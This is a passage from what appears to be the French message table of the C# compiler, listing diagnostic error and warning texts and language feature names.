de chaîne interpolé après tous les arguments impliqués. + Nom d'algorithme de hachage non valide : '{0}' + Le mot clé contextuel 'var' ne peut apparaître que dans une déclaration de variable locale ou dans un script de code + Une arborescence d’expressions ne peut pas contenir d’accès à un membre d’interface virtuelle ou abstraite statique + Numéro de base d'image non valide '{0}' + Un événement Windows Runtime ne peut pas être passé comme paramètre out ou ref. + Impossible d'utiliser une instance de type '{0}' dans une fonction imbriquée, une expression de requête, un bloc itérateur ou une méthode async + '{0}' n'implémente pas le membre d'interface '{1}'. '{2}' ne peut pas implémenter '{1}', car il ne possède pas le type de retour correspondant '{3}'. + L’argument doit être passé avec 'ref' ou 'in' mot clé + modèles de propriétés étendues + Le type de l'une des expressions dans la clause {0} est incorrect. L'inférence de type a échoué dans l'appel à '{1}'. + Le commentaire XML possède un attribut cref qui fait référence à un paramètre de type + Le type local de fichier '{0}' ne peut pas utiliser de modificateurs d’accessibilité. + Le paramètre de constructeur principal '{0}' est ombré par un membre de la base. + Nom de méthode attendu + Impossible d'utiliser la variable locale fixe '{0}' dans une méthode anonyme, une expression lambda ou une expression de requête + La méthode '{0}' ne sera pas utilisée en tant que point d'entrée, car un point d'entrée synchrone '{1}' a été trouvé. + __arglist n'est pas valide dans ce contexte + Le membre '{0}' doit avoir une valeur non null au moment de la sortie. + Les éléments ne peuvent pas avoir la valeur null. + Symbole non C#. + Impossible de convertir le groupe '{0}' de &method en type de pointeur non-fonction '{1}'. + '{0}' : les types static ne peuvent pas être utilisés comme paramètres + Seul un 'using static' ou 'using alias' peut être 'unsafe'. + Le type '{0}' exporté à partir du module '{1}' est en conflit avec le type déclaré dans le module principal de cet assembly. + L'expression switch ne prend pas en charge toutes les valeurs possibles de son type d'entrée (elle n'est pas exhaustive). + types construits non managés + Peut prendre l'adresse, obtenir la taille ou déclarer un pointeur vers un type managé + La chaîne de version spécifiée '{0}' n’est pas conforme au format requis - major[.minor[.build[.revision]]] + L'instruction foreach ne peut pas fonctionner sur des variables de type '{0}', car elle implémente plusieurs instanciations de '{1}' ; essayez d'effectuer un cast en une instanciation d'interface spécifique + Le commentaire XML a une balise param, alors qu'il n'existe aucun paramètre de ce nom + Identificateur attendu + critères spéciaux + L’utilisation de l’alias ne peut pas être un type référence Nullable. + CallerMemberNameAttribute n'aura pas d'effet ; il est remplacé par CallerFilePathAttribute + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + types de fichier + Une arborescence de l'expression ne peut pas contenir un accès de base + Un paramètre ne peut avoir qu'un seul modificateur '{0}' + Il n'existe pas d'étiquette '{0}' dans la portée de l'instruction goto + Du code unsafe ne peut apparaître qu'en cas de compilation avec /unsafe + Une référence renvoyée par un appel à '{0}' ne peut pas être conservée à travers la limite 'wait' ou 'yield'. + '{0}' : les membres virtual ou abstract ne peuvent pas être private + CallerArgumentExpressionAttribute est appliqué avec un nom de paramètre non valide. + champs positionnels dans les enregistrements + membres readonly + L'assembly référencé a un paramètre de culture différent + Le premier paramètre 'in' ou 'ref readonly' de la méthode d'extension '{0}' doit être un type de valeur concret (non générique). + Le générateur « {0} » n'a pas pu s'initialiser. Cela ne contribuera pas à la sortie et des erreurs de compilation pourraient en résulter. L'exception était de type « {1} » avec le message « {2} ». +{3} + Impossible d'utiliser une valeur de type '{0}' comme paramètre par défaut pour le paramètre Nullable '{1}', car '{0}' n'est pas un type simple + Impossible d'utiliser une valeur de type '{0}' comme paramètre par défaut, car il n'existe pas de conversion standard en type '{1}' + La possibilité de nullité des types de référence dans le type de paramètre '{0}' ne correspond pas à la méthode interceptable '{1}'. + '{0}' doit être obligatoire, car il remplace le membre requis '{1}' + '{0}' est abstract, mais il est contenu dans le type non abstract '{1}' + dynamique + Existence possible d'une assignation de référence null. + Impossible de retourner par référence un membre du paramètre '{0}', car il est étendu à la méthode actuelle + Le module '{0}' dans l'assembly '{1}' transfère le type '{2}' à plusieurs assemblys : '{3}' et '{4}'. + 'disable' ou 'restore' attendu après l'avertissement #pragma + La valeur SecurityAction '{0}' n'est pas valide pour les attributs de sécurité appliqués à un type ou à une méthode + '{0}' est un {1} mais est utilisé comme un {2} + Le membre d'enregistrement '{0}' doit retourner '{1}'. + Les directives du préprocesseur doivent être le premier caractère (autre qu'un espace blanc) d'une ligne + champ + déployer + alias using + séparateurs numériques + Utilisation d’un '{0}' de champ éventuellement non attribué. Envisagez de mettre à jour vers la version de langage '{1}' pour utiliser la valeur par défaut automatique du champ. + Il n'est pas correct d'utiliser le type de référence Nullable '{0}?' dans une expression is-type. Utilisez le type sous-jacent '{0}' à la place. + Le paramètre '{0}' doit avoir une valeur non null au moment de la sortie. + événement + Le modificateur '{0}' 'n'est pas valide pour cet élément + discards (éléments ignorés) + Le fichier de clé '{0}' ne comprend pas la clé privée nécessaire à la signature + étiquette + Une expression __arglist ne peut apparaître qu'à l'intérieur d'un appel ou d'une expression new + Algorithme '{0}' non pris en charge + La méthode doit avoir un type de retour + paramètre de type + Les enums ne peuvent pas contenir de constructeurs sans paramètre explicites + '{0}' est attribué avec 'UnmanagedCallersOnly' et ne peut pas être appelé directement. Obtenez un pointeur de fonction vers cette méthode. + Les deux déclarations de méthodes partielles doivent avoir des modificateurs d'accessibilité identiques. + Ceci n'est pas un emplacement d'attribut valide pour cette déclaration + Échec de chiffrement pendant la création de hachages. + Cette méthode ne peut être utilisée que pour créer des jetons - {0} n'est pas un genre de jeton. + Le membre '{0}' ne peut pas être utilisé dans cet attribut. + '{0}' ne peut pas définir un {1} surchargé qui se différencie uniquement par les modificateurs de paramètres '{2}' et '{3}' + Le pointeur de fonction '{0}' n'accepte pas {1} arguments + Opérateur de suppression de valeur null dupliqué ('!') + La nullabilité des types référence dans le type ne correspond pas au membre substitué. + Le nom '{0}' n'existe pas dans le contexte actuel (vous manque-t-il une référence à l'assembly '{1}' ?) + Le mot clé 'base' n'est pas disponible dans le contexte actuel + Impossible d'utiliser la variable locale '{0}' tant qu'elle n'est pas déclarée + using asynchrone + La chaîne littérale ']]>' n'est pas autorisée dans le contenu de l'élément. + '{0}' : impossible d'implémenter une interface dynamique '{1}' + déclaration de variables d'expression dans les initialiseurs de membres et les requêtes + Le runtime cible ne prend pas en charge les champs de référence. + Impossible d'intercepter l'appel à '{0}' avec '{1}' en raison d'une différence dans les modificateurs 'scoped' ou les attributs '[UnscopedRef]'. + Les déclarations de méthodes partielles de '{0}' présentent des possibilités de valeur null incohérentes pour le paramètre de type '{1}' + Paramètre non valide pour le type non managé spécifié. + option /REFERENCEPATH + Une arborescence de l'expression ne peut pas contenir de référence à une fonction locale + Le champ contient plusieurs valeurs de constante distinctes. + {0} version {1} + Copyright (C) Microsoft Corporation. Tous droits réservés. + L'attribut de sécurité '{0}' n'est pas valide dans ce type de déclaration. Les attributs de sécurité ne sont valides que dans les déclarations d'assembly, de type et de méthode. + using static + Le membre '{0}' ajouté durant la session de débogage actuelle est uniquement accessible à partir de son assembly de déclaration '{1}'. + Impossible d'utiliser #load à la suite du premier jeton du fichier + Le nom de type contient uniquement des caractères ascii en minuscules. De tels noms peuvent devenir réservés pour la langue. + Une arborescence de l'expression ne peut pas contenir une déclaration de variable d'argument out. + Type non valide pour le paramètre {0} dans l'attribut cref du commentaire XML : '{1}' + Impossible d'utiliser le type en tant que paramètre de type dans le type ou la méthode générique. La nullabilité de l'argument de type ne correspond pas à la contrainte 'class'. + Accessibilité incohérente : le type de contrainte '{1}' est moins accessible que '{0}' + '{0}' ne peut pas être à la fois abstract et sealed + Caractère inattendu '{0}' + '{0}' n'est pas un argument d'attribut nommé valide. Les arguments d'attribut nommé doivent être des champs qui ne sont pas readonly, statiques ou constants, ou des propriétés en lecture-écriture qui sont publiques et non statiques. + Directive #pragma non reconnue + Impossible de déclarer une variable de type static '{0}' + Vous avez ajouté une référence à un assembly en utilisant /link (la propriété Incorporer les types interop est définie sur True). Cette commande ordonne au compilateur d'incorporer les informations de type interop à partir de cet assembly. Cependant, le compilateur ne peut pas incorporer les informations de type interop à partir de cet assembly, car un autre assembly que vous avez référencé référence également cet assembly en utilisant /reference (la propriété Incorporer les types interop est définie sur False). + +Pour incorporer les informations de type interop pour chaque assembly, utilisez la commande /link pour les références de chaque assembly (définissez la propriété Incorporer les types interop sur True). + +Pour supprimer l'avertissement, vous pouvez utiliser la commande /reference (définissez la propriété Incorporer les types interop sur False). Dans ce cas, un assembly PIA (Primary Interop Assembly) fournit des informations de type interop. + La possibilité de nullité des types de référence dans le type de retour ne correspond pas à la méthode interceptable '{0}'. + accesseur de propriété du corps d'expression + '{0}' définit l'opérateur == ou l'opérateur != mais ne se substitue pas à Object.Equals(object o) + Nombre incorrect d'arguments de type + '{0}' n'implémente pas le modèle '{1}'. '{2}' a une signature erronée. + foreach asynchrone exige que le type de retour '{0}' de '{1}' ait une méthode 'MoveNextAsync' publique appropriée et une propriété 'Current' publique + Une déclaration d'espace de noms ne peut pas avoir de modificateurs ou d'attributs + '{0}' : un champ d'instance dans les types marqués avec StructLayout(LayoutKind.Explicit) doit avoir un attribut FieldOffset + Impossible de créer une instance du type abstract ou de l'interface '{0}' + Une implémentation d'interface explicite d'un événement doit utiliser la syntaxe des accesseurs d'événement + L'évaluation de la valeur de constante de '{0}' implique une définition circulaire + '{0}' n'est pas un emplacement d'attribut valide pour cette déclaration. Les emplacements d'attributs valides pour cette déclaration sont '{1}'. Tous les attributs de ce bloc seront ignorés. + Un résultat d'une expression stackalloc de type '{0}' dans ce contexte peut être exposé en dehors de la méthode conteneur + « {0} » est ambigu entre « {1} » et « {2} ». Utilisez « @{0} » ou incluez explicitement le suffixe « Attribute ». + ; attendu + L'appel dispatché dynamiquement peut échouer au moment de l'exécution, car une ou plusieurs surcharges applicables sont des méthodes conditionnelles + L'espace de noms est en conflit avec le type importé + Une méthode partielle ne peut pas avoir plusieurs déclarations d'implémentation + Impossible d'utiliser '{0}' en tant que valeur ref ou out, car il s'agit d'un '{1}' + Un accès Friend a été concédé par '{0}', mais l'état de signature avec nom fort de l'assembly de sortie ne correspond pas à celui de l'assembly concédant. + création d'un objet typé cible + Un constructeur déclaré dans un type avec une liste de paramètres doit avoir 'this' initialisateur de constructeur. + La contrainte ne peut pas être un type dynamic '{0}' + Impossible d'appliquer l'opérateur '{0}' à un opérande de type '{1}' + Un paramètre de constructeur principal d’un type en lecture seule ne peuvent pas être retournés par une référence accessible en écriture + '{0}' : une référence à un champ volatile ne sera pas considérée comme volatile + Une arborescence de l'expression ne peut pas contenir une opération dynamique + Les variables locales implicitement typées ne peuvent pas être fixed + Le type importé '{0}' n'est pas valide. Il contient une dépendance de type de base circulaire. + Plusieurs implémentations du modèle de requête ont été trouvées pour le type source '{0}'. Appel ambigu à '{1}'. + Le commutateur de ligne de commande '{0}' n'est pas encore implémenté et a été ignoré. + La nullabilité des types référence dans le type ne correspond pas au membre implémenté. + La méthode, l'opérateur ou l'accesseur '{0}' est marqué comme external et n'a pas d'attribut. Ajoutez un attribut DllImport pour spécifier l'implémentation externe. + « {0} » n’est pas un nom de paramètre valide de « {1} ». + Accessibilité incohérente : le type de paramètre '{1}' est moins accessible que l'indexeur '{0}' + Le type prédéfini '{0}' est déclaré dans plusieurs assemblys référencés : '{1}' et '{2}' + propriété expression-bodied + 'RefKind.Out' n'est pas un genre de référence valide pour un type de retour. + chaînes verbatim interpolées de remplacement + ombrage des noms dans les fonctions imbriquées + L'attribut FieldOffset n'est pas autorisé sur des champs static ou const + Impossible d'utiliser ref local '{0}' dans une méthode anonyme, une expression lambda ou une expression de requête + Impossible de retourner un paramètre par référence '{0}', car il est étendu à la méthode actuelle + L'opérateur '{0}' est ambigu pour des opérandes de type '{1}' et '{2}' + Le type de retour de '{0}' n'est pas conforme CLS + Un bras d’expression switch ne commence pas par un mot clé 'case'. + Le CallerArgumentExpressionAttribute peut seulement être appliqué aux paramètres avec des valeurs par défaut + En supposant que la référence d'assembly correspond à l'identité + '{0}' ne contient pas de définition pour '{1}' et aucune méthode d'extension '{1}' acceptant un premier argument de type '{0}' n'a été trouvée (vous manque-t-il une directive using pour '{2}' ?) + La signature différée a été spécifiée et nécessite une clé publique, mais aucune clé publique n'a été spécifiée + L'expression fera toujours intervenir System.NullReferenceException, car la valeur par défaut de '{0}' est null + Les indexeurs doivent posséder au moins un paramètre + L'utilisation de '{0}' pour tester la compatibilité avec '{1}' est fondamentalement identique au test de la compatibilité avec '{2}' et elle aboutit pour toutes les valeurs non null + L'appel indiqué est intercepté plusieurs fois. + La valeur d'un type intégral est attendue + Impossible d'utiliser l'argument en tant que sortie du paramètre, car il existe des différences dans l'acceptation des valeurs null par les types référence. + Cette fonctionnalité de langage ('{0}') n'est pas encore implémentée. + L'arborescence de syntaxe doit être créée à partir d'une soumission. + Le nom complet est trop long pour les informations de débogage + Le modificateur 'readonly' doit être spécifié après 'ref'. + Aucune valeur n'a été trouvée pour RuntimeMetadataVersion. Aucun assembly contenant System.Object n'a été trouvé et aucune valeur n'a été spécifiée pour RuntimeMetadataVersion via les options. + L'annotation pour les types référence Nullable doit être utilisée uniquement dans le code au sein d'un contexte d'annotations '#nullable'. Le code généré automatiquement nécessite une directive '#nullable' explicite dans la source. + Interface marquée avec 'CoClassAttribute' et non avec 'ComImportAttribute' + tableau des paramètres de l’expression lambda + L'instance allouée n'a pas été supprimée dans tous les chemins d'accès de l'exception + 'in' attendu + Il existe une erreur dans un assembly référencé '{0}'. + La nullabilité de type du paramètre ne correspond pas au membre substitué (probablement en raison des attributs de nullabilité). + Le nom d'élément de tuple '{0}' est interdit à toutes les positions. + Indexation d'un tableau avec un index négatif (les index de tableau commencent toujours à zéro) + L'attribut CLSCompliant n'a pas de sens lorsqu'il est appliqué à des types de retour. Essayez de le placer dans la méthode à la place. + Le '{0}' spécifié pour la méthode Main doit être une classe, un enregistrement, un struct ou une interface non générique + Cette combinaison d'arguments pour peut exposer les variables référencées par le paramètre en dehors de la portée de leur déclaration + La meilleure méthode Add surchargée '{0}' pour l'élément initialiseur de collection est obsolète. {1} + La vérification de conformité CLS ne sera pas effectuée, car l'objet inspecté n'est pas visible hors de cet assembly + Les déclarations partielles de '{0}' ont des contraintes incohérentes pour le paramètre de type '{1}' + {0}' spécifié pour la méthode Main est introuvable + L'utilisation d'un champ d'une classe de marshaling par référence en tant que valeur ref ou out, ou la prise de son adresse, peut provoquer une exception runtime + Modèle and + Parmi les arguments spécifiés, aucun ne correspond au paramètre obligatoire '{0}' de '{1}' + Le nom '{0}' ne correspond pas au paramètre 'Deconstruct' correspondant '{1}'. + Le genre de code source fourni n'est pas pris en charge ou est non valide : '{0}' + Retourne par référence un membre du paramètre qui est étendu à la méthode actuelle + Impossible de spécifier une valeur par défaut pour un tableau de paramètres + Assignation effectuée à la même variable + Nom non valide pour un symbole de prétraitement. '{0}' est un identificateur non valide + '{0}' ne peut pas implémenter '{1}' et '{2}', car ils peuvent être réunis pour des substitutions de paramètre de type + Le type '{0}' transmis à l'assembly '{1}' est en conflit avec le type '{2}' exporté à partir du module '{3}'. + Le type '{2}' doit être un type valeur non-nullable afin d'être utilisé comme paramètre '{1}' dans le type ou la méthode générique '{0}' + Les types statiques ne peuvent pas être utilisés en tant que types de retour + La méthode n'a pas la signature appropriée pour être un point d'entrée + Modificateur '{0}' en double + par contravariance + Les modèles de liste ne peuvent pas être utilisés pour une valeur de type '{0}'. + Impossible de convertir {0} en type « {1} », car le type de retour ne correspond pas au type de retour délégué + Mot clé, identificateur ou chaîne attendue après le spécificateur textuel : @ + Le modificateur '{0}' est non valide pour cet élément en C# {1}. Utilisez la version de langage '{2}' ou une version ultérieure. + L'accesseur '{1}' est manquant dans l'implémentation d'interface explicite '{0}' + '{2}' doit être un type non abstrait avec un constructeur sans paramètre public afin de l'utiliser comme paramètre '{1}' dans le type ou la méthode générique '{0}' + '{0}' : le type conteneur n'implémente pas l'interface '{1}' + '{0}' : les structs par référence ne peuvent pas implémenter d'interfaces + La méthode '{0}' doit être non générique ou avoir des {1} d’arité pour correspondre à '{2}'. + Impossible de trouver une implémentation du modèle de requête pour le type source '{0}'. '{1}' introuvable. Vous manque-t-il des références d'assembly requises ou une directive using pour 'System.Linq' ? + Les opérateurs définis par l'utilisateur ne peuvent pas retourner void + La nullabilité des types référence dans le type de paramètre ne correspond pas au membre implémenté implicitement. + littéraux binaires + Impossible de créer un tableau avec une taille négative + élimination basée sur un modèle + classes static + contraintes des méthodes d'implémentation d'interface par remplacement et explicites + L'instruction yield ne peut pas être utilisée dans une méthode anonyme ou une expression lambda + Impossible d'incorporer le type '{0}', car il a un argument générique. Attribuez à la propriété 'Incorporer les types interop' la valeur false. + Le fichier source a dépassé la limite de 16 707 565 lignes pouvant être représentées dans le PDB ; les informations de débogage seront incorrectes + structs par référence + opérateur d'index + '{0}' n'implémente pas le membre d'interface '{1}'. '{2}' n'est pas public. + InterpolatedStringHandlerArgument n’a aucun effet lorsqu’il est appliqué aux paramètres lambda et qu’il est ignoré sur le site d’appel. + '{1}' ne définit pas le paramètre de type '{0}' + N'utilisez pas '_' pour une constante case. + Le type de récepteur '{0}' n’est pas un type d’enregistrement valide et n’est pas un type struct. + L'opérateur typeof ne peut pas être utilisé sur le type dynamic + L'opérande d'un opérateur d'incrémentation ou de décrémentation doit être une variable, une propriété ou un indexeur + Le commutateur /embed est uniquement pris en charge durant l'émission d'un fichier PDB. + Impossible d'utiliser l'expression donnée dans une instruction fixed + '{0}' ne peut pas être à la fois extern et abstract + Un objet d'un type convertible en '{0}' est requis + Impossible de créer une instance de la classe static '{0}' + Utilisation d'un champ potentiellement non assigné '{0}' + L'instruction switch case est inaccessible. Elle a déjà été traitée par un cas précédent ou la mise en correspondance est impossible. + '{0}' masque le membre hérité '{1}'. Utilisez le mot clé new si le masquage est intentionnel. + Caractère Unicode non valide. + Les expressions lambda qui effectuent un retour par référence ne peuvent pas être converties en arborescences d'expression + Impossible de définir une classe ou un membre qui utilise des tuples, car le type '{0}' nécessaire au compilateur est introuvable. Une référence est-elle manquante ? + Erreur lors de la signature de la sortie avec une clé publique du fichier '{0}' -- {1} + '{0}' : impossible de spécifier à la fois une classe de contrainte et la contrainte 'class' ou 'struct' + Les méthodes anonymes, les expressions lambda, les expressions de requête et les fonctions locales à l’intérieur d’une structure ne peuvent pas accéder au paramètre primaire du constructeur également utilisé à l’intérieur d’un membre de l’instance. + La possibilité de nullité des types de référence dans le type de paramètre ne correspond pas à la méthode interceptable. + Une directive 'using static' ne peut être appliquée qu'aux types ; '{0}' est un espace de noms, pas un type. Utilisez plutôt une directive 'using namespace' + Impossible d'utiliser une expression lambda comme argument pour une opération dispatchée dynamiquement sans tout d'abord en effectuer un cast en type délégué ou en type d'arborescence de l'expression. + Les retours par valeur ne peuvent être utilisés que dans les méthodes qui effectuent un retour par valeur + Impossible d'utiliser un résultat d'une expression stackalloc de type '{0}' dans ce contexte, car il peut être exposé en dehors de la méthode conteneur + attributs génériques + L'expression de filtre est une constante 'true' ; songez à supprimer le filtre + Type non valide spécifié comme argument pour l'attribut TypeForwardedTo + Impossible de créer un délégué avec '{0}', car celui-ci ou une méthode qu'il remplace a un attribut Conditional + L'utilisation d'un littéral par défaut est non valide dans ce contexte + Mot clé inattendu 'unchecked' + La liste des membres requis pour «{0}» est incorrecte et ne peut pas être interprétée. + Impossible de convertir implicitement le type '{0}' en '{1}'. Une conversion explicite existe (un cast est-il manquant ?) + Impossible de créer une instance de l'analyseur {0} à partir de {1} : {2}. + La directive using est apparue précédemment dans cet espace de noms + Désolé... Nous ne pouvons pas résoudre l'attribut cref du commentaire XML + Impossible de référencer 'System.Runtime.CompilerServices.TupleElementNamesAttribute' explicitement. Utilisez la syntaxe des tuples pour définir les noms de tuples. + Nombre non valide + Le délégué '{0}' n'accepte pas d'arguments {1} + '{0}' masque le membre abstrait hérité '{1}' + Paramètre de type '{0}' en double + La meilleure méthode Add surchargée pour l'élément initialiseur de collection est obsolète + modèle correspondant à ReadOnly/Span<char> sur une chaîne constante + Valeurs de checksum différentes spécifiées pour '{0}' + '{0}' : l'événement doit être de type délégué + Le EnumeratorCancellationAttribute appliqué au paramètre '{0}' n'aura aucun effet. L'attribut s'applique uniquement à un paramètre de type CancellationToken dans une méthode d'itérateur asynchrone qui retourne IAsyncEnumerable + Expression attendue après yield return + Le commutateur /sourcelink est uniquement pris en charge durant l'émission d'un fichier PDB. + La nullabilité des types référence dans la valeur ne correspond pas au type cible. + La nullabilité des types référence dans le type de paramètre ne correspond pas au membre implémenté. + Le premier argument d'un attribut de sécurité doit être un SecurityAction valide + '{0}' : un événement extern ne peut pas avoir d'initialiseur + N'utilisez pas 'System.Runtime.CompilerServices.ScopedRefAttribute'. Utilisez plutôt le mot clé 'scoped'. + Le mot clé contextuel 'var' ne peut pas être utilisé dans une déclaration de variable de portée + Alias extern non valide pour '/reference' ; '{0}' n'est pas un identificateur valide + Un membre masque un membre hérité ; le mot clé override est manquant + L'attribut FieldOffset ne peut être placé que sur des membres de types marqués avec StructLayout(LayoutKind.Explicit) + Le commentaire XML a une balise param en double + sécurité de variance pour les membres d'interface statiques + type + '{0}' : impossible d'utiliser les types static en tant qu'arguments de type + Une expression throw n'est pas autorisée dans ce contexte. + L'expression switch ne prend pas en charge certaines valeurs de son type d'entrée (elle n'est pas exhaustive) impliquant une valeur enum sans nom. + CallerLineNumberAttribute, qui est appliqué au paramètre '{0}', n'aura aucun effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas les arguments facultatifs + Opérateur binaire surchargeable attendu + Aucun meilleur type trouvé pour le tableau implicitement typé + L'espace blanc n'est pas autorisé à cet emplacement. + Le commentaire XML n'est pas placé dans un élément valide du langage + Impossible d'utiliser une taille négative avec stackalloc + Erreur de syntaxe de ligne de commande : '{0}' manquant pour l'option '{1}' + Les pointeurs et les mémoires tampons de taille fixe ne peuvent être utilisés que dans un contexte unsafe + La méthode surchargée, qui se différencie uniquement par les types de tableau sans nom, n'est pas conforme CLS + Un paramètre out doit être assigné avant que le contrôle ne quitte la méthode + Erreur lors de la génération des ressources Win32 -- {0} + Les méthodes partielles avec uniquement une déclaration de définition ou des méthodes conditionnelles supprimées ne peuvent pas être utilisées dans des arborescences d'expressions + Le nom d'élément de tuple '{0}' est déduit. Utilisez la version de langage {1} ou une version supérieure pour accéder à un élément par son nom déduit. + Possibilité d'une comparaison de références involontaire ; pour obtenir une comparaison de valeurs, effectuez un cast de la partie droite en type '{0}' + Le commentaire XML a une balise typeparam en double + Utilisation d'une variable locale non assignée '{0}' + Les types et alias ne peuvent pas être nommés 'fichier'. + CallerArgumentExpressionAttribute n'aura pas d'effet ; il est remplacé par CallerLineNumberAttribute + L'assembly '{0}' avec l'identité '{1}' utilise '{2}' dont la version est supérieure à celle de l'assembly référencé '{3}' avec l'identité '{4}' + Retourne un paramètre par référence '{0}' par le biais d’un paramètre ref ; mais il peut uniquement être retourné en toute sécurité dans une instruction return + Impossible d'utiliser le {1} '{0}' non générique avec des arguments de type + initialiseurs de champ de struct + Le nom d'assembly '{0}' est réservé et ne peut pas servir de référence dans une session interactive + Impossible d'utiliser 'ref', 'in' ou 'out' dans la signature d'une méthode attribuée avec 'UnmanagedCallersOnly'. + Le type définit l'opérateur == ou l'opérateur != mais ne se substitue pas à Object.Equals(object o) + Impossible d’utiliser le paramètre '{0}' qui a un type de référence similaire à une référence à l’intérieur d’une méthode anonyme, d’une expression lambda, d’une expression de requête ou d’une fonction locale. + '{0}' : le type doit être '{2}' pour correspondre au membre substitué '{1}' + Opérateur de bits or utilisé sur un opérande de signe étendu ; effectuez un cast en type plus faible non signé + L'expression de filtre est une constante 'false' + Vous ne pouvez pas utiliser des mémoires tampons de taille fixe contenues dans des expressions non fixed. Essayez d'utiliser l'instruction fixed. + Impossible de prendre l'adresse de l'expression donnée + Une arborescence d'expression ne peut pas contenir '{0}' + Impossible de spécifier une valeur de paramètre par défaut conjointement à DefaultParameterAttribute ou OptionalAttribute + Impossible d'utiliser le type '{2}' en tant que paramètre de type '{1}' dans le type ou la méthode générique '{0}'. La nullabilité de l'argument de type '{2}' ne correspond pas à la contrainte 'class'. + Instance ou méthode d'extension 'Deconstruct' appropriée introuvable pour le type '{0}', avec les paramètres de sortie {1} et un type de retour void. + '{0}' est implémenté explicitement plusieurs fois. + La méthode d'extension doit être définie dans une classe statique non générique + Attribute parameter 'SizeConst' must be specified. + '{0}' est de type '{1}'. Un champ const d'un type référence autre que string ne peut être initialisé qu'avec null. + '{0}' n'est pas un spécificateur de convention d'appel valide pour un pointeur de fonction. + La nullabilité des types référence dans le type de retour ne correspond pas au membre implémenté '{0}'. + La contrainte 'new()' ne peut pas être utilisée avec la contrainte 'struct' + __arglist n'est pas autorisé dans la liste de paramètres de méthodes async + Impossible d'intercepter : la compilation ne contient pas de fichier avec le chemin "{0}". + L'opérateur '{0}' ne peut pas être utilisé ici en raison de la précédence. Utilisez des parenthèses pour lever l'ambiguïté. + Le paramètre doit avoir une valeur non null au moment de la sortie. + N'utilisez pas 'System.Runtime.CompilerServices.ExtensionAttribute'. Utilisez plutôt le mot clé 'this'. + membres obligatoires + Un accesseur add ou remove est attendu + Le contrôle ne peut pas quitter le corps d'une méthode anonyme ou d'une expression lambda + Un membre obsolète se substitue à un membre non obsolète + Le passage de '{0}' n'est pas valide, sauf si '{1}' est 'SignatureCallingConvention.Unmanaged'. + La contrainte de type classe '{0}' doit précéder toute autre contrainte + Utilisation d'une propriété implémentée automatiquement éventuellement non assignée : '{0}' + L'assembly d'analyseur '{0}' fait référence à la version '{1}' du compilateur, qui est plus récente que la version en cours d'exécution '{2}'. + '{0}' doit correspondre au retour par référence du membre substitué '{1}' + CallerFilePathAttribute n'aura pas d'effet ; il est remplacé par CallerLineNumberAttribute + Les groupes de méthode d'extension ne sont pas autorisés en tant qu'arguments pour 'nameof'. + Impossible d'initialiser une variable par valeur avec une référence + Le corps d'une méthode async-iterator doit contenir une instruction 'yield'. Supprimez 'async' de la déclaration de méthode, ou ajoutez une instruction 'yield'. + '{0}' ne contient pas de définition pour '{1}' et aucune méthode d'extension accessible '{1}' acceptant un premier argument de type '{0}' n'a été trouvée (une directive using ou une référence d'assembly est-elle manquante ?) + Impossible d'utiliser le {1} '{0}' avec des arguments de type + Impossible d'utiliser l'expression dans ce contexte, car elle peut exposer indirectement des variables en dehors de la portée de leur déclaration + Un paramètre de conversion de gestionnaire de chaîne interpolé a lieu après un paramètre de gestionnaire + Une méthode partielle ne peut pas avoir plusieurs déclarations de définition + Le CallerArgumentExpressionAttribute appliqué au paramètre « {0} » n’aura aucun effet. Il est appliqué avec un nom de paramètre non valide. + La référence d'assembly '{0}' n'est pas valide et ne peut pas être résolue + Cette référence attribue une valeur par référence dont l’étendue d’échappement est plus étroite que la cible. + Les classes static ne peuvent pas avoir de constructeurs d'instance + Avec 'await', le type {0} doit avoir une méthode 'GetAwaiter' appropriée + Impossible d'utiliser un membre du résultat de '{0}' dans ce contexte, car il peut exposer les variables référencées par le paramètre '{1}' en dehors de la portée de leur déclaration + Le paramètre d’expression lambda implicitement typé '{0}' ne peut pas avoir de valeur par défaut. + Le type '{1}' réserve déjà un membre appelé '{0}' avec les mêmes types de paramètre + La propriété implémentée automatiquement '{0}' ne peut pas être marquée 'readonly', car elle a un accesseur 'set'. + Le type d'argument n'est pas conforme CLS + Séquence d'échappement non reconnue + Le paramètre n'a pas de balise param correspondante dans le commentaire XML (contrairement à d'autres paramètres) + L'expression switch ne prend pas en charge certaines entrées ayant une valeur null. + L'interface héritée '{1}' provoque un cycle dans la hiérarchie des interfaces de '{0}' + Nom de type ou d'espace de noms '{0}' introuvable dans l'espace de noms global (vous manque-t-il une référence d'assembly ?) + Impossible d'intercepter « {0} » car il ne s'agit pas d'un appel d'une méthode membre ordinaire. + Impossible d'attendre dans l'expression de filtre d'une clause catch + Les expressions d'initialiseur de tableau ne peuvent être utilisées que pour assigner des types tableau. Essayez plutôt d'utiliser une expression new. + Conversion de littéral ayant une valeur null ou d'une éventuelle valeur null en type non-nullable. + Les variables implicitement typées doivent être initialisées + La déclaration du paramètre de type doit être un identificateur et non un type + constructeurs principaux + La propriété implémentée automatiquement '{0}' doit être entièrement affectée avant que le contrôle soit retourné à l’appelant. Envisagez de mettre à jour la version de langue «{1}» pour définir automatiquement la propriété par défaut. + '{0}' : nouveau membre protected déclaré dans struct + '{0}' : les classes static ne peuvent pas contenir de membres protected + L’objet « this » est lu avant que tous ses champs aient été affectés, ce qui entraîne les affectations implicites précédentes de 'default' aux champs non explicitement attribués. + '{0}' : impossible de déclarer des membres d'instance dans une classe static + Le contrôle est retourné à l’appelant avant l’attribution explicite de la propriété implémentée automatiquement, ce qui entraîne une attribution implicite précédente de « default ». + Les exécutables ne peuvent pas être des assemblys satellites ; la culture doit toujours être vide + La méthode n'a pas d'annotation '[DoesNotReturn]' correspondant au membre implémenté ou substitué. + L'utilisation du mot clé 'base' n'est pas valide dans ce contexte + Le type '{0}' est défini dans un assembly qui n'est pas référencé. Vous devez ajouter une référence à l'assembly '{1}'. + '{0}' ajoute un accesseur introuvable dans le membre d'interface '{1}' + Option non reconnue : '{0}' + Les méthodes Async ne sont pas autorisées dans une interface, une classe ou une structure qui a un attribut 'SecurityCritical' ou 'SecuritySafeCritical'. + Impossible d'appliquer CallerArgumentExpressionAttribute, car il n'existe pas de conversion standard du type '{0}' en type '{1}' + Le premier opérande d'un opérateur 'is' ou 'as' ne peut pas être une expression lambda, une méthode anonyme ou un groupe de méthodes. + L'accès au tableau ne peut pas avoir un spécificateur d'argument nommé + Impossible d'utiliser un groupe de méthodes comme argument pour une opération dispatchée dynamiquement. Souhaitiez-vous appeler la méthode ? + opérateur de plage + Impossible d'utiliser un champ readonly en tant que valeur ref ou out (sauf dans 